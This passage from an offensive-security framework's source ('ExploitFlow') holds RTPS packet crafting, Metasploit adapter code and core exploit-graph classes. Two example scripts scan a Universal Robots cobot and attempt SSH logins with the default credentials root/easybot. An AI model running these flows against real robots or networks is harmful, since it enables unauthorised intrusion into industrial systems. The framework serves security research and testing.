submessages=[ 37 | RTPSSubMessage_INFO_TS( 38 | submessageId=9, 39 | submessageFlags=1, 40 | octetsToNextHeader=8, 41 | ts_seconds=1635160430, 42 | ts_fraction=3848061961, 43 | ), 44 | RTPSSubMessage_DATA( 45 | submessageId=21, 46 | submessageFlags=5, 47 | octetsToNextHeader=248, 48 | extraFlags=0, 49 | octetsToInlineQoS=16, 50 | readerEntityIdKey=0, 51 | readerEntityIdKind=0, 52 | writerEntityIdKey=256, 53 | writerEntityIdKind=194, 54 | writerSeqNumHi=0, 55 | writerSeqNumLow=1, 56 | data=DataPacket( 57 | encapsulationKind=3, 58 | encapsulationOptions=0, 59 | parameterList=ParameterListPacket( 60 | parameterValues=[ 61 | PID_USER_DATA( 62 | parameterId=44, 63 | parameterLength=28, 64 | parameterData=b"\x17\x00\x00\x00DDSPerf:0:58:test.local\x00", 65 | ), 66 | PID_PROTOCOL_VERSION( 67 | parameterId=21, 68 | parameterLength=4, 69 | protocolVersion=ProtocolVersionPacket(major=2, minor=1), 70 | padding=b"\x00\x00", 71 | ), 72 | PID_VENDOR_ID( 73 | parameterId=22, 74 | parameterLength=4, 75 | vendorId=VendorIdPacket(vendor_id=b"\x01\x10"), 76 | padding=b"\x00\x00", 77 | ), 78 | PID_PARTICIPANT_LEASE_DURATION( 79 | parameterId=2, 80 | parameterLength=8, 81 | parameterData=b"\x00\x00\x00\x008\x89A\x00", 82 | ), 83 | PID_PARTICIPANT_GUID( 84 | parameterId=80, 85 | parameterLength=16, 86 | parameterData=b"\x01\x10\\\x8e,\xd4XG\xfaZ0\xd3\x00\x00\x01\xc1", 87 | ), 88 | PID_BUILTIN_ENDPOINT_SET( 89 | parameterId=88, 90 | parameterLength=4, 91 | parameterData=b"\x00\x00\x00\x00", 92 | ), 93 | PID_DOMAIN_ID( 94 | parameterId=15, 95 | parameterLength=4, 96 | parameterData=b"\x00\x00\x00\x00", 97 | ), 98 | PID_DEFAULT_UNICAST_LOCATOR( 99 | parameterId=49, 100 | parameterLength=24, 101 | locator=LocatorPacket( 102 | locatorKind=16777216, 103 | port=sport, 104 | address=src, 105 | ), 106 | ), 107 | PID_METATRAFFIC_UNICAST_LOCATOR( 108 | parameterId=50, 109 | parameterLength=24, 110 | locator=LocatorPacket( 111 | locatorKind=16777216, 112 | port=sport, 113 | address=src, 114 | ), 115 | ), 116 | PID_UNKNOWN( 117 | parameterId=32775, 118 | parameterLength=56, 119 | parameterData=b"\x00\x00\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x00\x00test.local/0.9.0/Linux/Linux\x00\x00\x00\x00", 120 | ), 121 | PID_UNKNOWN( 122 | parameterId=32793, 123 | parameterLength=4, 124 | parameterData=b"\x00\x80\x06\x00", 125 | ), 126 | ], 127 | sentinel=PID_SENTINEL(parameterId=1, parameterLength=0), 128 | ), 129 | ), 130 | ), 131 | ] 132 | ) 133 | ) 134 | 135 | ans = sr1(pkt, retry=0, timeout=10) 136 | 137 | if ans: 138 | if (ICMP in ans) and (ans[ICMP].code == 3): 139 | print(color("Destination unreacheable", fg=16, bg="yellow")) 140 | elif ICMP in ans: 141 | print(color("ICMP code: " + str(ans[ICMP].code), fg=16, bg="yellow")) 142 | elif RTPS in ans: 143 | print(color(ans.summary(), fg=16, bg="green")) 144 | # ans.show() 145 | else: 146 | print(color("No response received.", fg=16, bg="red")) -------------------------------------------------------------------------------- /examples/8_exploitation_ur.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that footprints and sends attempts exploits a Universal Robots 16 | # cobot with default credentials 17 | 18 | import exploitflow as ef 19 | # from exploitflow.state import State_v0 20 | 21 | flow = ef.Flow() 22 | init = ef.Init() 23 | 24 | recon = ef.Targets() 25 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_COMPLETE) 26 | 27 | # initialize state and pass it over a recon action 28 | # resulting flow should deliver a state annotated 29 | # with the results from the reconnaissance step 30 | state = flow.run(init * recon * versions, target="192.168.2.10") 31 | 32 | # now for ech one of the states found, send an ssh 33 | # login attempt using metasploit 34 | for s in state.states.keys(): 35 | # Build MSF ssh test exploit 36 | expl = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login") 37 | msf_options = { 38 | "RHOSTS": s, 39 | "USERNAME": "root", 40 | "PASSWORD": "easybot" 41 | } 42 | expl.set_options(msf_options) 43 | 44 | if not expl.missing(): 45 | state = flow.run(state * expl, target=s, debug=False) 46 | 47 | print("Final reward: " + str(flow.reward())) # NOTE: returns graph's reward 48 | print("Final state: " + str(state)) 49 | 50 | # # ASCII-depict graph 51 | # print(flow.ascii()) 52 | -------------------------------------------------------------------------------- /examples/9_exploitation_ur_human_expert.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that footprints and sends attempts exploits a Universal Robots 16 | # cobot with default credentials 17 | 18 | import exploitflow as ef 19 | from exploitflow.state import State_v2 20 | State_default = State_v2 21 | 22 | 23 | flow = ef.Flow() 24 | init = ef.Init() 25 | 26 | recon = ef.Targets() 27 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_COMPLETE) 28 | 29 | # initialize state and pass it over a recon action 30 | # resulting flow should deliver a state annotated 31 | # with the results from the reconnaissance step 32 | state = flow.run(init * recon * versions, target="192.168.2.10") 33 | 34 | # for those states that have a 22 port open, send an ssh 35 | # exploit attempt using metasploit 36 | for s in state.states.keys(): 37 | # check if port 22 is open, which technically means 38 | # that the ssh service is running 39 | if any((port_state.port == 22 and port_state.open) for port_state in state.states[s].ports): 40 | 41 | # Build MSF ssh test exploit 42 | expl = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login") 43 | msf_options = { 44 | "RHOSTS": s, 45 | "USERNAME": "root", 46 | "PASSWORD": "easybot" 47 | } 48 | expl.set_options(msf_options) 49 | 50 | if not expl.missing(): 51 | state = flow.run(state * expl, target=s, debug=False) 52 | 53 | print(flow) 54 | 55 | # ASCII-depict graph 56 | print(flow.ascii()) 57 | flow.to_dot("/tmp/exploitflow.dot") -------------------------------------------------------------------------------- /exploitflow/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # Inspired by https://github.com/tobegit3hub/miniflow 16 | 17 | from . import adapters 18 | from . import exploit 19 | from . import flow 20 | from . import graph 21 | from . import killchain 22 | from . import models 23 | 24 | # General abstractions for exploit flows 25 | Graph = graph.Graph 26 | Flow = flow.Flow 27 | 28 | # Basic primitives 29 | Placeholder = exploit.PlaceholderExploit 30 | Constant = exploit.ConstantExploit 31 | Variable = exploit.VariableExploit 32 | Boolean = exploit.BoolExploit 33 | Init = exploit.InitExploit 34 | End = exploit.EndExploit 35 | Add = exploit.AddExploit 36 | Multiple = exploit.MultipleExploit 37 | Idle = exploit.IdleExploit 38 | End = exploit.EndExploit 39 | 40 | placeholder = exploit.PlaceholderExploit() 41 | constant = exploit.ConstantExploit(1) 42 | variable = exploit.VariableExploit("var") 43 | boolean = exploit.BoolExploit() 44 | init = exploit.InitExploit() 45 | end = exploit.EndExploit() 46 | add = exploit.AddExploit(constant, constant) 47 | multiple = exploit.MultipleExploit(constant, constant) 48 | idle = exploit.IdleExploit() 49 | 50 | lobal_variables_initializer = exploit.GlobalVariablesInitializerExploit 51 | local_variables_initializer = exploit.LocalVariablesInitializerExploit 52 | get_variable = exploit.get_variable 53 | 54 | basic_all = [Placeholder, Constant, Variable, Boolean, Init, Add, Multiple, Idle] 55 | basic_all_instances = [placeholder, constant, variable, boolean, init, add, multiple, idle, end] 56 | 57 | # Reconnaissance primitives 58 | Versions = killchain.reconnaissance.versions.VersionExploit 59 | FakeVersions = killchain.reconnaissance.versions.FakeVersionExploit 60 | FakeVersions2 = killchain.reconnaissance.versions.FakeVersionExploit2 61 | Targets = killchain.reconnaissance.targets.TargetsExploit 62 | 63 | versions = killchain.reconnaissance.versions.VersionExploit() 64 | fake_versions = killchain.reconnaissance.versions.FakeVersionExploit() 65 | fake_versions2 = killchain.reconnaissance.versions.FakeVersionExploit2() 66 | targets = killchain.reconnaissance.targets.TargetsExploit() 67 | 68 | reconnaissance_all = [Versions, FakeVersions, Targets] 69 | reconnaissance_all_instances = [versions, fake_versions, targets] 70 | # reconnaissance_all_instances = [] 71 | 72 | # Adapters 73 | ## MSF 74 | adapter_msf_initializer = adapters.AdapterMSF() 75 | Metasploit = exploit.ExploitMSF 76 | 77 | metasploit = adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login") 78 | 79 | adapters_all = [Metasploit] 80 | adapters_all_instances = [metasploit] 81 | 82 | 83 | # Learning models 84 | ## RL 85 | QLearn = models.QLearn 86 | 87 | # All, except basic 88 | exploits_all = [] + reconnaissance_all + basic_all + adapters_all 89 | exploits_all_instances = [] + reconnaissance_all_instances + basic_all_instances + adapters_all_instances 90 | # exploits_all = [Versions, Metasploit, Idle] 91 | -------------------------------------------------------------------------------- /exploitflow/adapters.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # adapters are EF's connectors to other exploitation frameworks 16 | 17 | import requests 18 | from abc import abstractmethod 19 | from pymetasploit3.msfrpc import MsfRpcClient 20 | from pymetasploit3.msfconsole import MsfRpcConsole 21 | from typing import List 22 | from exploitflow import exploit 23 | import threading 24 | 25 | 26 | class Adapter(object): 27 | """ 28 | The base adapter class 29 | 30 | Meant to be subclassed by each adapter 31 | """ 32 | def __init__(self): 33 | self.initialized = False # captures whether the adapter is initialized 34 | # successfully or not. This often requires 35 | # clients to be initialized for communication 36 | # with other exploitation frameworks. 37 | 38 | @abstractmethod 39 | def _reconaissance(self, *args, **kwargs) -> List[exploit.Exploit]: 40 | raise NotImplementedError 41 | 42 | @abstractmethod 43 | def get_name(self, *args, **kwargs) -> exploit.Exploit: 44 | raise NotImplementedError 45 | 46 | def get_reconnaissance(self) -> List[exploit.Exploit]: 47 | """ 48 | Returns a list of exploits that can be used to perform reconnissance in the target. 49 | """ 50 | return self._reconaissance() 51 | 52 | 53 | class AdapterMSF(Adapter): 54 | """MetaSploit Framework adapter""" 55 | 56 | def __init__(self): 57 | super().__init__() # in case there's common code in the base class 58 | try: 59 | self.initialized = True 60 | 61 | # connect to MSF RPC server, see "devcontainer.json" for details on 62 | # how the server is configured 63 | self.client = MsfRpcClient('exploitflow', ssl=True) 64 | 65 | # # Create a new thread and run the console in that thread 66 | # thread = threading.Thread(target=self._launch_console, args=(self.client, self._read_console,)) 67 | # thread.start() 68 | self.console = self.client.consoles.console() # create a new MsfConsole 69 | 70 | # console variables 71 | self.console_status = None 72 | self.positive_out = [] 73 | self.console_out = [] 74 | 75 | except Exception as e: 76 | print("Error connecting to MSF RPC server: " + str(e)) 77 | self.initialized = False 78 | 79 | # def _launch_console(self, client, callback): 80 | # console = MsfRpcConsole(client, cb=callback) 81 | # while 1: 82 | # console = MsfRpcConsole(client, cb=callback) 83 | # # console._poller() 84 | 85 | # def _read_console(self, console_data): 86 | # self.console_status = console_data['busy'] 87 | # print("AdapterMSF callback status: " + str(self.console_status)) 88 | 89 | # # debug 90 | # # log things out just in case 91 | # sigdata = console_data['data'].rstrip().split('\n') 92 | # for line in sigdata: 93 | # self.console_out.append(line) 94 | 95 | # if '[+]' in console_data['data']: 96 | # sigdata = console_data['data'].rstrip().split('\n') 97 | # for line in sigdata: 98 | # if '[+]' in line: 99 | # self.positive_out.append(line) 100 | # print(console_data['data']) 101 | 102 | 103 | def _reconaissance(self, *args, **kwargs) -> List[exploit.Exploit]: 104 | if not self.initialized: 105 | return [] 106 | 107 | # Filter out some of the scan action available 108 | # will filter out: 109 | # ['scanner/discovery/arp_sweep', 'scanner/discovery/empty_udp', 110 | # 'scanner/discovery/ipv6_multicast_ping', 'scanner/discovery/ipv6_neighbor', 111 | # 'scanner/discovery/ipv6_neighbor_router_advertisement', 'scanner/discovery/udp_probe', 112 | # 'scanner/discovery/udp_sweep'] 113 | 114 | candidate_names = [k for k in self.client.modules.auxiliary if 'scanner/discovery' in k] 115 | return [exploit.ExploitMSF(self, module, "auxiliary", {}) for module in candidate_names] 116 | 117 | 118 | def get_name(self, exploit_type, name) -> exploit.Exploit: 119 | """Returns the name of the exploit 120 | 121 | Arguments: 122 | - exploit_type: the exploit type (e.g. "auxiliary", or "exploit") 123 | - name: the name of the exploit (e.g. scanner/discovery/udp_sweep) 124 | """ 125 | if not self.initialized: 126 | return None 127 | 128 | return exploit.ExploitMSF(self, name, exploit_type, {}) -------------------------------------------------------------------------------- /exploitflow/common.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from shlex import quote 16 | from subprocess import PIPE, run as _run 17 | import sys 18 | from pathlib import Path 19 | 20 | 21 | def run(cmdargs, *args, check=True, **kw): 22 | """Wrap subprocess.run optionally echoing commands.""" 23 | cwd = kw.pop("cwd", None) 24 | if isinstance(cwd, Path): 25 | cwd = bytes(cwd) 26 | kw["cwd"] = cwd 27 | 28 | if check == "exit": 29 | cp = _run(cmdargs, *args, check=False, **kw) 30 | if cp.returncode != 0: 31 | cmd = " ".join([quote(x) for x in cmdargs]) 32 | print( 33 | "ERROR: Command return non-zero exit code (see above): {}\n {}".format( 34 | cp.returncode, cmd 35 | ), 36 | file=sys.stderr, 37 | ) 38 | sys.exit(cp.returncode) 39 | else: 40 | cp = _run(cmdargs, *args, check=check, **kw) 41 | 42 | return cp 43 | 44 | 45 | def runout(*args, **kw): 46 | """Run cmd and return its stdout.""" 47 | return run(*args, **kw, stdout=PIPE).stdout.decode("utf-8") 48 | 49 | 50 | def shell(cmd, *args, check=True, **kw): 51 | """Run cmd through shell.""" 52 | return run(cmd, *args, shell=True, check=check, **kw) 53 | 54 | 55 | def shellout(*args, **kw): 56 | """Run cmd through shell and return its stdout.""" 57 | return shell(*args, **kw, stdout=PIPE).stdout.decode("utf-8") 58 | -------------------------------------------------------------------------------- /exploitflow/exploit.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | # 15 | # Inspired by https://github.com/tobegit3hub/miniflow 16 | 17 | from abc import ABCMeta, abstractmethod 18 | import logging 19 | import math 20 | import os 21 | import sys 22 | from . import graph 23 | from . import state 24 | from wasabi import color 25 | 26 | 27 | class Exploit(object): 28 | """ 29 | The basic class for all operation. 30 | 31 | Attributes 32 | ---------- 33 | name: str 34 | name of the exploit instances 35 | pre_state : state.State 36 | state of the flow before executing the exploit 37 | post_state : state.State 38 | state of the flow after executing the exploit 39 | status : bool 40 | success (True) or failure (False) after running the exploit 41 | run : bool 42 | captures whether the exploit has been run already 43 | reward: float 44 | reward that an attacker gets for executing the exploit 45 | target: str 46 | target of the exploit, each exploit may have a target that overwrites the 47 | default flow's target for that particular exploit 48 | 49 | Methods 50 | ------- 51 | forward(self, *args, **kwargs) -> state.State: 52 | Flow forward pass frontend. Accounts for past runs. 53 | _forward(self, *args, **kwargs) -> state.State: 54 | Flow forward pass logic. 55 | force_forward(self, *args, **kwargs) -> state.State: 56 | Force forward pass logic without accounting for past runs. 57 | mitigate(self) -> bool: 58 | Execute exploit mitigation. Assumes it runs natively in the affected machine. 59 | 60 | """ 61 | 62 | def __init__(self, name="Exploit"): 63 | self.name = name 64 | 65 | # state 66 | self.pre_state = None 67 | self.post_state = None 68 | 69 | # status 70 | self.status = False 71 | self.run = False 72 | 73 | # reward 74 | self.reward = -1 # default reward 75 | 76 | # target 77 | self.target = None 78 | 79 | # soft-reset is done by setting the attribute below to true 80 | # this is useful for exploits that are run multiple times 81 | # in the same flow, e.g. when trying to brute-force a password 82 | # 83 | # NOTE: this is not a good practice, but it's useful for testing 84 | # and specifically for simulation involving AI, wherein rollouts 85 | # and backpropagation are done multiple times 86 | self.soft_reset = False 87 | 88 | def get_name(self): 89 | return self.name 90 | 91 | def set_name(self, name): 92 | self.name = name 93 | 94 | def forward(self, *args, **kwargs) -> state.State: 95 | # Extract the 'debug' argument from kwargs, if it doesn't exist it defaults to False 96 | debug = kwargs.get('debug', False) 97 | 98 | 99 | if self.soft_reset: 100 | # This way we trigger the run flag below in the next iteration, 101 | self.run = True 102 | self.soft_reset = False # unset the soft_reset flag, net iteration 103 | # will run as usual 104 | 105 | self.debug(debug) 106 | self._graph.add_to_graph(self) 107 | self._graph.update(self, -1* self.reward, self.post_state, debug=debug) 108 | # NOTE: negate the reward to obtain positive result the first iterations 109 | return self.post_state 110 | 111 | # if run already, do not do it again, just used cached results 112 | if self.run: 113 | self.debug(debug) 114 | self._graph.add_to_graph(self) 115 | self._graph.update(self, self.reward, self.post_state, debug=debug) 116 | return self.post_state 117 | 118 | 119 | self.run = True # NOTE: this should be done at the "_forward" level 120 | # of each invididual exploit, but it's done here 121 | # for convenience 122 | # NOTE 2: a more realistic scenario would be to remove 123 | # completely this, and/or periodically reseting it for 124 | # better simulation of real-world scenarios 125 | 126 | return self._forward(*args, **kwargs) 127 | 128 | @abstractmethod 129 | def _forward(self, *args, **kwargs) -> state.State: 130 | # TODO: No need to implement in abstract method 131 | raise NotImplementedError 132 | 133 | def force_forward(self, *args, **kwargs) -> state.State: 134 | # TODO: Rewrite in subclasses if necessary 135 | self._forward(*args, **kwargs) 136 | 137 | def mitigate(self) -> bool: 138 | return False 139 | 140 | def __str__(self): 141 | return str(self.name) 142 | 143 | def __add__(self, other): 144 | return AddExploit(self, other) 145 | 146 | def __radd__(self, other): 147 | return self.__add__(other) 148 | 149 | def __mul__(self, other): 150 | return MultipleExploit(self, other) 151 | 152 | def __rmul__(self, other): 153 | return self.__mul__(other) 154 | 155 | def debug(self, debug, target=None): 156 | if debug: 157 | debug_str = ( 158 | color( 159 | "Debugging " + self.get_name(), 160 | fg="white", 161 | bg="green", 162 | bold=True, 163 | ) 164 | + color( 165 | " pre_state: " + str(self.pre_state), 166 | fg="black", 167 | bg="grey", 168 | bold=True, 169 | ) 170 | + color( 171 | " post_state: " + str(self.post_state), 172 | fg="black", 173 | bg="white", 174 | bold=True, 175 | ) 176 | + color( 177 | " status: " + str(self.status), 178 | fg="black", 179 | bg="yellow", 180 | bold=True, 181 | ) 182 | ) 183 | if target: 184 | debug_str += color( 185 | " target: " + str(target), 186 | fg="black", 187 | bg="red", 188 | bold=True, 189 | ) 190 | print(debug_str) 191 | 192 | 193 | class PlaceholderExploit(Exploit): 194 | """The placeholer operation""" 195 | 196 | def __init__(self, dtype=None, shape=None, name="Placeholder"): 197 | super(PlaceholderExploit, self).__init__(name) 198 | self._graph = graph.get_default_graph() 199 | 200 | def _forward(self, state, target, debug=False): 201 | self._graph.add_to_graph(self) 202 | self.pre_state = state 203 | self.post_state = state 204 | self.status = True # always succeed 205 | self.debug(debug) 206 | self._graph.update(self, self.reward, self.post_state, debug) 207 | return self.post_state 208 | 209 | 210 | class InitExploit(PlaceholderExploit): 211 | """The initial placeholer for a exploit flow""" 212 | 213 | def __init__(self, name="Init"): 214 | super(PlaceholderExploit, self).__init__(name) 215 | self._graph = graph.get_default_graph() 216 | self.reward = 0 # exceptionally, don't discount 217 | 218 | def _forward(self, state_input, target, debug=False): 219 | self._graph.add_to_graph(self) 220 | self.status = True # always succeed Init Exploit 221 | self.pre_state = None 222 | self.post_state = self._graph.state_class() 223 | self.debug(debug) 224 | self._graph.update(self, self.reward, self.post_state, debug) 225 | return self.post_state 226 | 227 | 228 | class EndExploit(PlaceholderExploit): 229 | """The initial placeholer for a exploit flow""" 230 | 231 | def __init__(self, name="End"): 232 | super(PlaceholderExploit, self).__init__(name) 233 | self._graph = graph.get_default_graph() 234 | 235 | def _forward(self, state_input, target, debug=False): 236 | self.reward = 0 # exceptionally, don't discount 237 | self._graph.add_to_graph(self) 238 | self.status = True # always succeed Init Exploit 239 | self.pre_state = state_input 240 | self.post_state = None 241 | self.debug(debug) 242 | self._graph.update(self, self.reward, self.pre_state, debug) 243 | return self.post_state 244 | 245 | 246 | class IdleExploit(PlaceholderExploit): 247 | """An exploit that does nothing, nor impacts the reward""" 248 | 249 | def __init__(self, name="Idle"): 250 | super(PlaceholderExploit, self).__init__(name) 251 | self._graph = graph.get_default_graph() 252 | self.reward = 0 # exceptionally, don't discount 253 | 254 | def _forward(self, state_input, target, debug=False): 255 | self._graph.add_to_graph(self) 256 | 257 | # priotize exploit's target, over flow's target 258 | if self.target: 259 | flow_target = target 260 | target = self.target 261 | 262 | self.status = True # always succeed 263 | 264 | # if no pre_state, create blank one 265 | if state_input: 266 | self.pre_state = state_input 267 | else: 268 | self.pre_state = state.State_default() # New empty state 269 | self.post_state = self.pre_state 270 | 271 | if target not in self.post_state.states.keys(): # if dict states is empty 272 | self.post_state.add_new(target) # create a new state for target 273 | 274 | # mark exploit as launched, NOTE assumes post_state is PortState_v2 (or v4) 275 | for i, exploit_state in enumerate(self.post_state.states[target].exploits): 276 | # print("DEBUG: " + str(exploit_state.type)) 277 | if isinstance(exploit_state.type, type): # if type is a class, PortState_v2 278 | if exploit_state.type == self.__class__: 279 | self.post_state.states[target].exploits[i].launched = True 280 | else: # if type is an object, PortState_v4 281 | if exploit_state.type == self.name: 282 | self.post_state.states[target].exploits[i].launched = True 283 | 284 | self.debug(debug) 285 | self._graph.update(self, self.reward, self.post_state, debug) 286 | return self.post_state 287 | 288 | 289 | class BoolExploit(Exploit): 290 | """ 291 | An Exploit that does nothing to the state and captures a bool value in its status. 292 | 293 | NOTE: doesn't add anything to the state 294 | """ 295 | 296 | def __init__(self, boolean=True, name="Bool"): 297 | super(BoolExploit, self).__init__(name) 298 | self._graph = graph.get_default_graph() 299 | self.status = boolean 300 | 301 | def _forward(self, state, target, debug=False): 302 | self._graph.add_to_graph(self) 303 | self.pre_state = state 304 | self.post_state = self.pre_state 305 | self.debug(debug) 306 | self._graph.update(self, self.reward, self.post_state, debug) 307 | return self.post_state 308 | 309 | 310 | class StateExploit(Exploit): 311 | """A exploit which abstracts a state.""" 312 | 313 | def __init__(self, state, name="State"): 314 | super(StateExploit, self).__init__(name) 315 | self.pre_state = None 316 | self.post_state = state 317 | self._graph = graph.get_default_graph() 318 | self.reward = 0 # exceptionally, don't discount 319 | 320 | def _forward(self, input, target, debug=False): 321 | self._graph.add_to_graph(self) 322 | self.status = True # always succeed 323 | self.pre_state = input 324 | if self.pre_state: 325 | self.post_state = self.pre_state + self.post_state 326 | else: 327 | pass # do nothing 328 | 329 | self.debug(debug, target) 330 | self._graph.update(self, self.reward, self.post_state, auxiliary=True, debug=debug) 331 | return self.post_state 332 | 333 | 334 | class ConstantExploit(Exploit): 335 | """The constant operation which contains one initialized value.""" 336 | 337 | def __init__(self, value, name="Constant"): 338 | super(ConstantExploit, self).__init__(name) 339 | self._value = value 340 | 341 | self._graph = graph.get_default_graph() 342 | 343 | def get_value(self): 344 | return self._value 345 | 346 | def _forward(self, input, target, debug=False): 347 | self._graph.add_to_graph(self) 348 | self.status = True # always succeed 349 | self.pre_state = input 350 | if self.pre_state: 351 | self.post_state = self.pre_state + self._graph.state_class(self._value) 352 | else: 353 | self.post_state = self._graph.state_class(self._value) 354 | self.debug(debug, target) 355 | self._graph.update(self, self.reward, self.post_state, debug) 356 | return self.post_state 357 | 358 | 359 | class VariableExploit(Exploit): 360 | """ 361 | The variable operation which contains one variable. The variable may be 362 | trainable or not-trainable. This is used to define the machine learning 363 | models. 364 | """ 365 | 366 | def __init__(self, value, is_trainable=True, name="Variable"): 367 | super(VariableExploit, self).__init__(name) 368 | self._value = value 369 | self._is_trainable = is_trainable 370 | 371 | self._graph = graph.get_default_graph() 372 | 373 | if self._is_trainable: 374 | self._graph.add_to_trainable_variables_collection(self.get_name(), self) 375 | 376 | def get_value(self): 377 | return self._value 378 | 379 | def set_value(self, value): 380 | self._value = value 381 | 382 | def _forward(self, state, target, debug=False): 383 | self._graph.add_to_graph(self) 384 | self.status = True # always succeed 385 | self.pre_state = state 386 | self.post_state = self.pre_state + self._graph.state_class(self._value) 387 | 388 | self.run = False # setting run to False forces a re-run next time 389 | # this is necessary since "VariableExploit" internals 390 | # could change (are variable) 391 | 392 | self.debug(debug) 393 | self._graph.update(self, self.reward, self.post_state, debug) 394 | return self.post_state 395 | 396 | 397 | class GlobalVariablesInitializerExploit(Exploit): 398 | def __init__(self, name="GlobalVariablesInitializer"): 399 | super(GlobalVariablesInitializerExploit, self).__init__(name) 400 | 401 | self._graph = graph.get_default_graph() 402 | 403 | def _forward(self): 404 | self._graph.add_to_graph(self) 405 | self._graph.update(self, self.reward, self.post_state, debug) 406 | pass 407 | 408 | 409 | class LocalVariablesInitializerExploit(Exploit): 410 | def __init__(self, name="LocalVariablesInitializer"): 411 | super(LocalVariablesInitializerExploit, self).__init__(name) 412 | 413 | self._graph = graph.get_default_graph() 414 | 415 | def _forward(self): 416 | self._graph.add_to_graph(self) 417 | self._graph.update(self, self.reward, self.post_state, debug) 418 | pass 419 | 420 | 421 | def get_variable( 422 | name="Variable", 423 | value=None, 424 | shape=None, 425 | dtype=None, 426 | initializer=None, 427 | regularizer=None, 428 | reuse=None, 429 | trainable=True, 430 | ): 431 | # TODO: Support default graph only 432 | _graph = graph.get_default_graph() 433 | 434 | if name in _graph.get_name_op_map(): 435 | return _graph.get_name_op_map()[name] 436 | else: 437 | return VariableExploit(value=value, name=name) 438 | 439 | 440 | class MultipleExploit(Exploit): 441 | """ 442 | Mixes exploits propagating status in a serial manner. 443 | """ 444 | 445 | def __init__(self, input1, input2, name="Mul"): 446 | super(MultipleExploit, self).__init__(name) 447 | self._graph = graph.get_default_graph() 448 | 449 | if not isinstance(input1, Exploit): 450 | self._op1 = StateExploit(input1) 451 | # add label and edge, recovered from run-ning again 452 | self._graph.add_edge(self._graph.last_action, self._op1, label="run") 453 | else: 454 | self._op1 = input1 455 | 456 | if not isinstance(input2, Exploit): 457 | self._op2 = StateExploit(input2) 458 | # add label and edge, recovered from run-ning again 459 | self._graph.add_edge(self._graph.last_action, self._op2, label="run") 460 | else: 461 | self._op2 = input2 462 | 463 | self.reward = 0 # exceptionally, don't discount 464 | 465 | def _forward(self, state_input, target, debug=False): 466 | self._graph.add_to_graph(self) 467 | result1 = self._op1.forward(state_input, target, debug=debug) 468 | result2 = self._op2.forward(result1, target, debug=debug) 469 | 470 | self.status = self._op1.status and self._op2.status 471 | self.pre_state = state_input 472 | self.post_state = result2 473 | 474 | graph 475 | self._graph.add_edge( 476 | self._op1, self._op2, label=str(result1) 477 | ) # edge between ops 478 | self._graph.add_edge( 479 | self._op2, self, label=str(self.post_state) 480 | ) # edge between second op and addition 481 | 482 | # if isinstance(self._op1, StateExploit): 483 | # self._graph.add_edge( 484 | # self._op1, self._op2, label=str(result1) 485 | # ) # edge between ops 486 | # self._graph.add_edge( 487 